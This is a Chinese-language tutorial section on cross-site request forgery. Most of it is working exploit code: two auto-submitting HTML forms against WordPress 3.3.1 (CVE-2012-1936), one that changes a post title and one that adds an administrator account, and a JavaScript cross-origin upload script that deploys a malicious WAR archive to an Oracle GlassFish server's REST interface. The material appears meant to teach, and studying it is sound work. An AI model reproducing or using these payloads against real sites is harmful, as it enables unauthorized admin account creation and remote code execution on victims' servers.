攻击实例
Exploits
本部分我们来看几个基于 CSRF 攻击的实例,包括简单的基于表单 POST 请求的攻击,其可以诱导用户点击.submit()
按钮既可以发起攻击。其他的还有稍微复杂一点的跨域文件上传 CSRF 攻击,其主要使用了 CORS use of the xhr.withCredentals behavior。
Wordpress 3.3.1 Multiple CSRF Vulnerabilities
该漏洞是由Ivano Binetti在 2012 年 3 月 19 号发现的,影响了WordPress 3.3.1 版本 ,CVE 编号 CVE-2012-1936。WordPress 是众所周知的博客平台,该漏洞可以允许攻击者修改某个 Post 的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator’s email
- Change Wordpress Address
- Change Site Address
那么这个漏洞实际上就是攻击者引导用户先进入目标的 WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的 Exploit 代码为
<html>
<body onload="javascript:document.forms[0].submit()">
<h2>CSRF Exploit to change post title</h2>
<form
method="POST"
name="form0"
action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"
>
<input type="hidden" name="post_title" value="hackedtitle" />
<input type="hidden" name="post_name" value="hackedtitle" />
<input type="hidden" name="mm" value="03" />
<input type="hidden" name="jj" value="16" />
<input type="hidden" name="aa" value="2012" />
<input type="hidden" name="hh" value="" />
<input type="hidden" name="mn" value="" />
<input type="hidden" name="ss" value="" />
<input type="hidden" name="post_author" value="1" />
<input type="hidden" name="post_password" value="" />
<input type="hidden" name="post_category%5B%5D" value="0" />
<input type="hidden" name="post_category%5B%5D" value="1" />
<input type="hidden" name="tax_input%5Bpost_tag%5D" value="" />
<input type="hidden" name="comment_status" value="open" />
<input type="hidden" name="ping_status" value="open" />
<input type="hidden" name="_status" value="publish" />
<input type="hidden" name="post_format" value="0" />
<input type="hidden" name="_inline_edit" value="<sniffed_value>" />
<input type="hidden" name="post_view" value="list" />
<input type="hidden" name="screen" value="edit-post" />
<input type="hidden" name="action" value="inline-save" />
<input type="hidden" name="post_type" value="post" />
<input type="hidden" name="post_ID" value="1" />
<input type="hidden" name="edit_date" value="true" />
<input type="hidden" name="post_status" value="all" />
</form>
</body>
</html>
另一个测试用例时添加某个具有管理员权限的用户,测试用例为
<html>
<body onload="javascript:document.forms[0].submit()">
<h2>CSRF Exploit to add Administrator</h2>
<form
method="POST"
name="form0"
action="http://<wordpress_ip>:80/wp-admin/user-new.php"
>
<input type="hidden" name="action" value="createuser" />
<input
type="hidden"
name="_wpnonce_create-user"
value="<sniffed_value>"
/>
<input
type="hidden"
name="_wp_http_referer"
value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"
/>
<input type="hidden" name="user_login" value="admin2" />
<input type="hidden" name="email" value="admin2@admin.com" />
<input type="hidden" name="first_name" value="admin2@admin.com" />
<input type="hidden" name="last_name" value="" />
<input type="hidden" name="url" value="" />
<input type="hidden" name="pass1" value="password" />
<input type="hidden" name="pass2" value="password" />
<input type="hidden" name="role" value="administrator" />
<input type="hidden" name="createuser" value="Add+New+User+" />
</form>
</body>
</html>
Oracle GlassFish Server - REST Cross-Site Request Forgery
该漏洞是由 Security-Assessment.com 发现的,Oracle GlassFish 服务器的 REST 接口可以被 CSRF 请求攻击,譬如其可以允许普通用户任意上传 WAR 包,并且可以控制在服务端运行从而导致窃取其他运行应用的信息。关于具体的攻击复盘可以参考这里。其攻击手段是首先在钓鱼站点上设置如下按钮
<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>
然后添加如下脚本
var logUrl = 'http://glassfishserver/management/domain/applications/application';
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "---------------------------270883142628617",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
asyncreplication: "true",
availabilityenabled: "false",
contextroot: "",
createtables: "true",
dbvendorname: "",
deploymentplan: "",
description: "",
dropandcreatetables: "true",
enabled: "true",
force: "false",
generatermistubs: "false",
isredeploy: "false",
keepfailedstubs: "false",
keepreposdir: "false",
keepstate: "true",
lbenabled: "true",
libraries: "",
logReportedErrors: "true",
name: "",
precompilejsp: "false",
properties: "",
property: "",
retrieve: "",
target: "",
type: "",
uniquetablenames: "true",
verify: "false",
virtualservers: "",
__remove_empty_entries__: "true"
}
if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
var tmp = '';
for (var i = 0; i < fileData.length; i++) tmp +=
String.fromCharCode(fileData.charCodeAt(i) & 0xff);
fileData = tmp;
}
else { // Chrome 9
// http://javascript0.org/wiki/Portable_sendAsBinary
XMLHttpRequest.prototype.sendAsBinary = function(text){
var data = new ArrayBuffer(text.length);
var ui8a = new Uint8Array(data, 0);
for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();
bb.append(data);
var blob = bb.getBlob();
this.send(blob);
}
}
var fileFieldName = "id";
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a
file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg);
}
} else if (xhr.status == 0) {
}
}
}
var body = "";
for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
return true;
}
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';
c += value + "\r\n";
return c;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n';
c += "Content-Type: application/octet-stream\r\n\r\n";
c += value + "\r\n";
return c;
}
function getBinary(file){
var xhr = new XMLHttpRequest();
xhr.open("GET", file, false);
xhr.overrideMimeType("text/plain; charset=x-user-defined");
xhr.send(null);
return xhr.responseText;
}
function readBinary(data) {
var tmp = '';
for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) &
0xff);
data = tmp;
return tmp;
}
function start() {
var c = getBinary('maliciousarchive.war');
fileUpload(c, "maliciousarchive.war");
}